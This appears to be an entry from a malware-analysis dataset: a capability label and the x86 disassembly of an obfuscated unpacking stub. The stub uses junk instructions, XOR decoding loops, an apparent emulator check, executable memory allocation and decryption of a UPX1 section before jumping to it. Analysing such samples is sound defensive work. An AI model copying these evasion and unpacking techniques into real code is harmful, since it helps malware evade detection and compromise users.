Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb5c6dda
or eax, eax
not eax
popal
inc eax
add eax, 0x9a8f0cc2
mov esi, 0
mov edi, eax
mov ecx, ebx
mov ebx, ecx
mov ecx, ebx
mov edx, edi
and ecx, ecx
inc ebx
mov eax, edx
mov ecx, ebx
add ecx, ecx
add esi, 1
dec ecx
or ebx, ecx
cmp esi, 0x1003f72
jne 0xa789c3
and ebx, ebx
or ecx, ecx
mov ebx, 0xbf2d97b1
dec ecx
sub eax, ecx
mov esi, 0xa78796
and ebx, edx
not edx
mov edi, 0xa7898a
add ebx, 0x85fc1290
or ebx, ebx
not edx
mov eax, dword [esi]
mov edx, ebx
add ecx, ebx
sub edx, ebx
and eax, 0xff
or ebx, edx
sub edx, ecx
xor dword [edi], eax
mov edx, 0x2ed3c146
or ebx, ecx
and ebx, edx
add edi, 1
inc ecx
dec ecx
add ebx, 1
inc esi
mov ecx, 0x20cd9cf0
mov ecx, ebx
cmp edi, entry0
jl 0xa78a0f
mov ebx, edx
sub ecx, ebx
sub edx, ecx
and ebx, ebx
mov edx, 0x5a9cf2cd
sub ebx, 1
or ecx, edx
mov edi, 0xa7898e
mov ebx, 0x91561957
mov ecx, edx
mov edi, dword [edi]
add esi, 1
add edx, 0x3ce5c5ae
mov edi, dword [edi]
mov edx, 0xeb20ce3a
sub edx, ebx
and ebx, edx
sub esp, 4
mov dword [esp], edi
add ecx, esi
mov edx, esi
mov edi, 0xa7898a
add ecx, esi
mov ecx, 0x6095db13
mov esi, ebx
mov edi, dword [edi]
sub ebx, 0xdd18f228
dec esi
inc ebx
mov edi, dword [edi]
sub edx, 1
add edx, 1
mov ecx, ebx
push 0xa78992
sub ecx, esi
mov esi, 0xd40fc18e
call edi
not esi
sub ebx, edx
sub edx, 0xa50679b1
pop edi
add ebx, 0x1026fabf
mov edx, 0xbf34fcc2
push 0xa7899f
and ebx, esi
add esi, edx
push eax
mov ecx, ebx
mov ecx, 0x11208590
call edi
add ecx, 1
sub edx, esi
sub ecx, 0xcf7dd35e
sub esp, 4
mov dword [esp], 0x40
not ebx
and edx, ebx
add ecx, esi
push 0x3000
mov ebx, edx
sub ebx, 0x89cfa842
push 0x200006c3
inc ebx
sub ebx, 1
inc ebx
sub esp, 4
mov dword [esp], 0
or edx, ecx
inc edx
call eax
not esi
sub esi, 0x47616f6e
add eax, 0x20000638
or ebx, esi
not ebx
mov edi, 0x1f6aac21
inc esi
and edx, edx
mov dword [eax], edi
add edx, ebx
mov ebx, 0x813e9503
add edx, ecx
mov edi, dword [eax]
mov esi, 0x4a16c635
or edx, ebx
cmp edi, 0x1f6aac21
je 0xa78b75
mov ebx, 0
mov byte [ebx], cl
add edx, esi
add edx, edx
sub edx, 1
not esi
not edx
sub esi, ebx
sub ecx, 0xa38c2b4a
not eax
mov esi, section.UPX1
not ecx
and ecx, eax
mov edi, 0xa78795
dec eax
add eax, 0x576ac266
mov ebx, 0
mov eax, 0x5233f3c0
sub eax, 0xf82395c7
sub eax, 0xe624bed1
mov edx, 0xa78796
inc eax
mov eax, 0x3ee9cd6b
lea edx, [edx + ebx]
sub ecx, 1
inc eax
add ecx, 0x5e398411
mov edx, dword [edx]
add ecx, 0x7e50a678
and ecx, ecx
sub ecx, eax
and edx, 0xff
or ecx, eax
mov ecx, 0x3ad807f0
add eax, 0x88e3c37d
inc ebx
inc eax
and eax, eax
cmp ebx, 0x1f4
jne 0xa78c03
mov ebx, 0
not eax
mov ecx, 0xae21c39
dec ecx
and eax, ecx
dec eax
xor dword [esi], edx
and eax, eax
sub ecx, 0x78bad2bf
add ecx, 0x9502b16b
add esi, 2
sub ecx, eax
inc eax
mov ecx, 0xf8526c17
cmp esi, edi
jl 0xa78bb8
mov eax, ecx
mov ecx, eax
inc ecx
inc eax
mov eax, 0xb50140e5
dec eax
mov eax, section.UPX1
mov ebx, edi
dec ebx
mov edx, section.UPX1
add ebx, 0x281e04b2
add ebx, 0x47d45a7e
mov esi, 0xa78795
not ebx
mov edi, 0x27d4782c
mov ecx, 0
not ebx
sub ebx, edi
mov cl, byte [edx]
sub ebx, 0xd80d7855
or ebx, ebx
add edi, 0x88b18671
mov byte [eax], cl
mov edi, 0xd1c9bb85
mov edi, 0x6050885e
inc edi
inc eax
and edi, edi
not ebx
add edx, 2
mov edi, 0xe3878a78
add ebx, 1
inc ebx
cmp edx, esi
jle 0xa78c6e
sub ebx, 0x5c9020d5
mov edi, ebx
or eax, eax
or eax, eax
mov eax, ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
mov eax, ecx
mov ecx, eax
or ecx, ecx
ret